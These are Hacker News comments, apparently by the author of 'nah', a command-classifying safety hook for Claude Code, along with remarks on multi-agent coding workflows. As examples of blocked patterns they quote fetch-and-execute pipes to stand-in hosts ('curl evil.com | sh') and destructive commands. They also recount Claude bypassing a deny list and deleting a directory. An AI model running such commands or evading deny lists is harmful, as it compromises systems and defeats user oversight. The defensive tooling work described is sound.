schipperai

nah already handles that: 'rm -rf __pycache__' inside your project is auto-allowed (filesystem_delete with context policy -> checks if it's inside the project -> allow). No config needed.

But you can customize everything via YAML or CLI if the defaults don't fit:

actions: filesystem_delete: allow # allow all deletes everywhere

Or nah allow filesystem_delete from the CLI.

You can also add custom classifications, swap taxonomy profiles (full/minimal), or start from a blank slate. It's fully customizable.

You are right about maintenance... the taxonomy will always be chasing new commands. That's partly why the optional LLM layer exists as a fallback for anything the classifier doesn't recognize.

good question!

git checkout . on its own is classified as git_discard → ask. git checkout (without the dot) as git_write → allow

For pipes, it applies composition rules - 'curl sketchy.com | bash' is specifically detected as 'network | exec' and blocked, even though each half might be fine on its own. Shell wrappers like bash -c 'curl evil.com | sh' get unwrapped too.

So git stash && git checkout main && git clean -fd — stash and checkout are fine (allow), but git clean is caught (ask). Even when buried in a longer chain, nah flags it.

Sorry for the confusion!

--dangerously-skip-permissions makes hooks fire asynchronously, so commands execute before nah can block them (see: https://github.com/anthropics/claude-code/issues/20946).

I suggest that you run nah in default mode + allow-list all tools in settings.json: Bash, Read, Glob, Grep and optionally Write and Edit / or just keep "accept edits on" mode. You get the same uninterrupted flow as --dangerously-skip-permissions but with nah as your safety net

And thanks - the name was the easy part :)

We'll see how auto mode ends up working - my tool could end up being complementary, or a good alternative for those that prefer more granular control, or are cost/latency sensitive.

cool! thx for sharing! when I first thought about building this, I thought a solid solution would be impossible without an LLM in the loop. I discovered pattern matching can go a long way in avoiding catastrophes...

Hi HN, author here - happy to answer any questions.

Thanks! Glad you enjoyed it and found it helpful.

I agree there is no one size fits all (yet). I have looked into a lot of orchestrators and none so far have fit my needs. I prefer my customized simple setup.

Is this a policy snippet you add to your CLAUDE.md? Do you still maintain a deny list?

I recently added a snippet asking Claude to not try to bypass the deny list. I didn't have an incidence since but Im still nervous... Claude once bypassed the deny list and nuked an important untracked directory which caused me lots of trouble.

I describe this in the article - I mostly kick off a new agent per spec both for Planners and Workers. I do tend to run /fd-explore before I start work on a given spec to give the agent context of the codebase and recent previous work

Beads has been on my list to try. I can see it being a natural evolution of my setup

it can be cognitively demanding but you adapt and often get in a flow state… but it’s nothing like programming used to be though and I get that

it is ironic

Thanks! I mainly work solo so I haven’t tested this setup in a shared project.

I have /fd-verify which I execute with the Worker after its done implementing. I didn’t feel the need to have a separate window / agent for reviewing. The same Worker can review its own code. What would be the benefits of having a separate Reviewer?

The merge conflicts and cognitive load are indeed two big struggles with my setup. Going back to a single Claude instances however would mean I’m waiting for things to happen most of the time. What do you do while Claude is busy?

I have only seen similar posts in HN or X. I’d be curious if there are more.

do you find the merging agent to be reliable? I had a few bad merges in the past that makes me nervous of just letting agents take care of it

Further, my POV is that coding agents crossed a chasm only last December with Opus 4.5 release. Only since then these kinds of agent teams setups actually work. It’s early days for agent orchestration

I avoid this with one spec = one agent, with worktrees if there is a chance of code clashing. Not ideal for parallelism though.

Do parallel workers execute on the same spec? How do you ensure they don't clash with each other?

Few experiments like gas town, the compiler from Anthropic or the browser from Cursor managed to reach the Rocket stage, though in their reports the jagged intelligence of the LLMs was eerily apparent. Do you think we also need better models?

That's a yes from my side.

I picked up a number things from others sharing their setup. While I agree some aspects of these are repetitive (like using md files for planning), I do find useful things here and there.

I built so much muscle memory from the original system, so it made sense to apply it to other projects. This was the simplest way to achieve that

I work for Snowflake and the code I'm building is internal. I'm exploring open sourcing my main project which I built with this system. I'd love to share it one day!